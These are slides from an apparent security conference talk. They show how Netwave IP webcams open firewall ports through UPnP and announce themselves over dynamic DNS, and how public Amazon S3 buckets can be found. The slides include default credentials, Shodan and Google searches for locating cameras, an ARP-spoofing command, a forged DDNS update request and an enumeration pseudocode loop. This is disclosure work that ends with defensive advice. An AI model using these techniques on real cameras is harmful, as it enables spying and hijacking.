The perils of auto-configuring IP webcams

(And maybe a bit about buckets)
Who Am I? - Business

Robin Wood
Senior Security Engineer

robin.wood@randomstorm.com
www.randomstorm.com
Who Am I? - Personal

robin@digininja.org
www.digininja.org
@digininja
A Quick Side Plug

Breaking In To Security

www.digininja.org/projects/breaking_in_1.php

(that is the number one)
Buying A Camera
Bought one of these
Key Features

- Wireless, Wi-Fi 802.11b/g IP Camera
- Pan and Tilt Functionality can be **Controlled Remotely**
- Motion Detection Alert via Email
- Advanced User Management, only Allows Authorised Users Access
- **Supports Remote Viewing over Internet or on Smartphone**
Works Well
Default Credentials

VIEWING FROM A WEB BROWSER

1. You can access your IP camera via any computer with a Web browser installed. To do this, you must open your browser (e.g. Internet Explorer / Firefox) and point it to your IP camera’s IP address.

   See “IP Camera Finder”, Step 3, for your camera’s IP address and port number, e.g. http://192.168.1.126:81
   You will be prompted for a user name and password:

   Default User Name: admin
   Default Password: (blank)

2. Next you are given three options to sign in to the camera, depending on which browser you are using. Choose the correct one to continue.
   - ActiveX Mode
UPnP Settings

### IP Camera Options

- **Device Info**
- **Alias Settings**
- **Date&Time Settings**
- **Users Settings**
- **Basic Network Settings**
- **Wireless Lan Settings**
- **ADSL Settings**
- **UPnP Settings**
- **DDNS Service Settings**
- **Mail Service Settings**
- **Ftp Service Settings**
- **Alarm Service Settings**
- **PTZ Settings**
- **Log**
- **Maintenance**
- **Back**

#### UPnP Settings

<table>
<thead>
<tr>
<th>Setting</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>Using UPnP to Map Port</td>
<td>Enabled</td>
</tr>
<tr>
<td>UPnP Status</td>
<td>No Action</td>
</tr>
</tbody>
</table>

[Set] [Refresh]
What is UPnP?

Universal Plug ‘n’ Play

Arron "finux" Finnon

http://2011.ninjacon.net/schedule/93
Quick Win
Scan a network looking for port 81 and the following HTTP fingerprint:

HTTP/1.1 200 OK
Server: Netwave IP Camera
Date: Tue, 21 Feb 2012 20:51:21 GMT
Content-Type: text/plain
Content-Length: 370
Cache-Control: no-cache
Connection: close
Even Quicker Win

Shodan

www.shodanhq.com

Search for - Netwave IP Camera
Results
Oops

In case you couldn’t see that

Results 1 - 10 of about 23,214 for Netwave IP Camera
Surely They Would Be Locked Down
Cow Porn?
A Different Quicker Way?
How About A Google Dork?

site:ipcam.hk
Google Hits

About 265 results
# Dynamic DNS

## IP Camera Options

### DDNS Service Settings

<table>
<thead>
<tr>
<th>Parameter</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>DDNS Service</td>
<td>IPCam</td>
</tr>
<tr>
<td>DDNS User</td>
<td>aaaupsz</td>
</tr>
<tr>
<td>DDNS Password</td>
<td>******</td>
</tr>
<tr>
<td>DDNS or Proxy Server</td>
<td>user.ipcam.hk</td>
</tr>
<tr>
<td>DDNS or Proxy Port</td>
<td>808</td>
</tr>
<tr>
<td>DDNS Status</td>
<td>Succeed</td>
</tr>
</tbody>
</table>
Better Credentials

The credentials for the IPCam service are printed on the bottom of the camera.

Why not do the web interface ones in the same way?
Dynamic DNS

IP Camera Options

DDNS Service Settings

- **DDNS Service**: IPCam
- **DDNS User**: IPCam
- **DDNS Password**: Oraynet
- **DDNS or Proxy Server**: DynDns.org(dyndns)
- **DDNS or Proxy Port**: 3322.org(dyndns)
- **DDNS Status**: Succeed

Set | Refresh
Put These Two Together

Automatically open a hole in the firewall

Tell the world the hole is there
How Does It Do It?
I first tried bridging
ARP Spoofing

arpspoff -i eth0 -t 192.168.0.27 192.168.0.9
Fire Up Wireshark
Dynamic DNS

IP Camera Options

DDNS Service Settings

- DDNS Service: IPCam
- DDNS User: aaaupsz
- DDNS Password: ********
- DDNS or Proxy Server: user.ipcam.hk
- DDNS or Proxy Port: 808
- DDNS Status: Succeed

Set | Refresh
### Port 808

#### Wireshark Screen Capture

**Filter:** `tcp.port == 808`

<table>
<thead>
<tr>
<th>No.</th>
<th>Time</th>
<th>Source</th>
<th>Destination</th>
<th>Protocol</th>
<th>Info</th>
</tr>
</thead>
<tbody>
<tr>
<td>176</td>
<td>192.168.0.27</td>
<td>204.45.65.130</td>
<td>TCP</td>
<td>Seq=0</td>
<td></td>
</tr>
<tr>
<td>177</td>
<td>192.168.0.2</td>
<td>204.45.65.130</td>
<td>TCP</td>
<td>Seq=0</td>
<td></td>
</tr>
<tr>
<td>182</td>
<td>192.168.0.2</td>
<td>204.45.65.130</td>
<td>TCP</td>
<td>Seq=5</td>
<td></td>
</tr>
<tr>
<td>183</td>
<td>192.168.0.2</td>
<td>204.45.65.130</td>
<td>TCP</td>
<td>Seq=4</td>
<td></td>
</tr>
<tr>
<td>184</td>
<td>192.168.0.2</td>
<td>204.45.65.130</td>
<td>TCP</td>
<td>Seq=1</td>
<td></td>
</tr>
<tr>
<td>185</td>
<td>192.168.0.2</td>
<td>204.45.65.130</td>
<td>TCP</td>
<td>Seq=1</td>
<td></td>
</tr>
<tr>
<td>186</td>
<td>192.168.0.2</td>
<td>204.45.65.130</td>
<td>TCP</td>
<td>Seq=5</td>
<td></td>
</tr>
<tr>
<td>187</td>
<td>192.168.0.2</td>
<td>204.45.65.130</td>
<td>TCP</td>
<td>Seq=1</td>
<td></td>
</tr>
<tr>
<td>188</td>
<td>192.168.0.2</td>
<td>204.45.65.130</td>
<td>TCP</td>
<td>Seq=1</td>
<td></td>
</tr>
<tr>
<td>189</td>
<td>192.168.0.2</td>
<td>204.45.65.130</td>
<td>TCP</td>
<td>Seq=1</td>
<td></td>
</tr>
<tr>
<td>190</td>
<td>192.168.0.2</td>
<td>204.45.65.130</td>
<td>TCP</td>
<td>Seq=1</td>
<td></td>
</tr>
<tr>
<td>191</td>
<td>192.168.0.2</td>
<td>204.45.65.130</td>
<td>TCP</td>
<td>Seq=1</td>
<td></td>
</tr>
</tbody>
</table>

**Header length:** 32 bytes

- Flags: 0x18 (PSH, ACK)
- Window size value: 1460
- [Calculated window size: 1460]
- [Window size scaling factor: 1]
- Checksum: 0x39f1 [validation disabled]
- Options: [12 bytes]
Guess The Protocol

0n.... {Q.....E.
...}@.@. N.....-
A.....(\ ..r.....
.9..... .........
..GET /api/useri
p.asp?us ername=a
aauszs&u serpwd=
&verture=90
2&language=&dtyp
e=0&tcpport=80&l
anip=192.168.0.2
7 HTTP/1.0..Host
: user.ipcam.hk.
Decode As

Wireshark: Decode As

- Decode
- Do not decode

Show Current
Clear
Help

Link
Network
Transport
DCE-RPC

Replace binding between:
Address: ToBeDone TCP port: 2050
&
Address: ToBeDone TCP port: 808
&
Context ID: 0
&
SMB FID: 0
with:

(default)
ATSVC
BOSSVR
BUDB
BUTC
CDS_CLERK
cds_solicit
CONV

OK
Apply
Close

RandomStorm
Securing Your Digital World
Choose Transport

[Image of a Wireshark window showing options to choose a transport protocol such as TCP, 104apci, 9P, ACAP, AgentX, AIM, AJP13, and AMQP.]
Decode As Transport

Set destination port

Choose HTTP
GET /ip/ HTTP/1.0
HOST: user.ipcam.hk:808
User-Agent: myclient/1.0 me@null.net

HTTP/1.1 200 OK
Content-Length: 12
Content-Type: text/html
Content-Length: http://user.ipcam.hk:808/ip/index.htm
Last-Modified: Tue, 20 Dec 2011 03:52:14 GMT
Accept-Ranges: bytes
ETag: "bc9e8ac2cabecc1:970"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Wed, 15 Feb 2012 14:49:59 GMT
Connection: close
GET /api/user1p.asp?username=aaa&psw=aaa&ertype=902&language=6dtype=0&tcpport=806&lanip=192.168.0.27 HTTP/1.0
Host: user.ipcam.hk
User-Agent: myclient/1.0 mempty

HTTP/1.1 200 OK
Connection: close
Date: Wed, 15 Feb 2012 15:14:19 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 4.0.30319
Set-Cookie: ASP.NET_SessionId=5r3bqwoterezh2hswtd0y4v; path=/; HttpOnly
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 9

Update-OK
http://user.ipcam.hk/api/userip.asp?
username=aaaupsz&userpwd=blah&vertype=902&language=
&dtype=0&tcpport=999&lanip=192.168.0.27
Let's Check It

```
robin@rastlin owasp_talk $ curl "http://aaaupszp.ipcam.hk"
<html><head><title>Object moved</title></head><body>
<h2>Object moved to <a href="http://aaaupszp.ipcam.hk:80">here</a></h2>
</body></html>
robin@rastlin owasp_talk $
```
Lets Fake It
Did It Work?

```
robin@rastlin owasp_talk $ curl "http://aaaupsz.ipcam.hk/"
<html><head><title>Object moved</title></head><body>
<h2>Object moved to <a href="http://aaaupsz.ipcam.hk:999">here</a></h2>
</body></html>
robin@rastlin owasp_talk $
```
What About A Different Server?

New IP and port
So what did I do with all this?
Wrote a script of course
Python-esk Pseudocode

for user=aaaaaaa to zzzzzzzz
    curl $user.ipcam.hk
    is redirect?
        curl redirect
        is valid site?
            does it ask for authentication?
                register found private camera
            else
                register found open camera
It Is Broken

curl "http://aaaupsz.ipcam.hk/"

<h1>aaaupsz设备不在线! 2/21/2012 2:57:50 PM</h1>
Google Hits

About 265 results
What should it have looked like?
Conclusions As Home User

- Default passwords are bad, change them
- Check what your devices are doing
- Disable UPnP on firewall/router - It's bad!
- Research yourself online - Google/Shodan and the rest
Conclusions As Developers

- Default passwords are bad
- Use random “usernames” to prevent enumeration
- Rate limit requests and use IPS/IDS
- Research your product - Google/Shodan and the rest
Conclusions As A Researcher

- Present as soon as you have data
A Slight Aside
A Slight Aside

“Security wasn’t an issue when we built this”
Questions?
Contact Me

robin@digininja.org
www.digininja.org
@digininja
What’s In Amazon’s Buckets?
Creating Buckets

A bucket is a container for objects stored in Amazon S3. When creating a bucket, you can choose a Region to optimize for latency, minimize costs, or address regulatory requirements. For more information regarding bucket naming conventions, please visit the Amazon S3 documentation.

Bucket Name: owasp_demo
Region: US Standard

Set Up Logging > Create Cancel
Create Folder
Make Public
The page at https://s3-console-us-standard.console.aws.amazon.com says:
Are you sure you want to make "test" public?

Cancel  OK
Access Files Through URL

https://s3.amazonaws.com/owasp_demo/test/dummy_file
Non-existent Buckets

<Error>
  <Code>NoSuchKey</Code>
  <Message>The specified key does not exist.</Message>
  <Key>backasdfasdfsdfasdfsdf</Key>
  <RequestId>0215790E573B1AE8</RequestId>
  <HostId>6bGeJgzYwojM9o++vbP4AejKei</HostId>
</Error>
Private Buckets

<Error>
  <Code>AccessDenied</Code>
  <Message>Access Denied</Message>
  <RequestId>7F3987394757439B</RequestId>
  <HostId>kyMlhkp0WafjruFTxv7+/ClHqMBcqr</HostId>
</Error>
Public Buckets

  <Name>digipublic</Name>
  <Prefix/>
  <Marker/>
  <MaxKeys>1000</MaxKeys>
  <IsTruncated>false</IsTruncated>
</ListBucketResult>
Public Buckets With Files

    <Name>digipublic</Name>
    <Prefix/>
    <Marker/>
    <MaxKeys>1000</MaxKeys>
    <IsTruncated>false</IsTruncated>
    <Contents>
        <Key>my_file</Key>
        <LastModified>2011-05-16T10:47:16.000Z</LastModified>
        <ETag>"51fff3c9087648822c0a21212907934a"</ETag>
        <Size>6429</Size>
        <StorageClass>STANDARD</StorageClass>
    </Contents>
</ListBucketResult>
So what did I do with all this?
Wrote a script of course
Stats - Buckets

Not Found = 1130 (49.82%)
Private = 914 (40.29%)
Public = 224 (10.125%)
Total = 2268
Stats - Files

Public = 5287
Private = 5007
Total = 10294
Stats - File Types

Images = 2871
Web = 674
Media = 529
Documents = 82
Archives = 37
SQL = 1
Find It Here

http://www.digininja.org/blog/whats_in_amazons_buckets.php
Questions?
Pub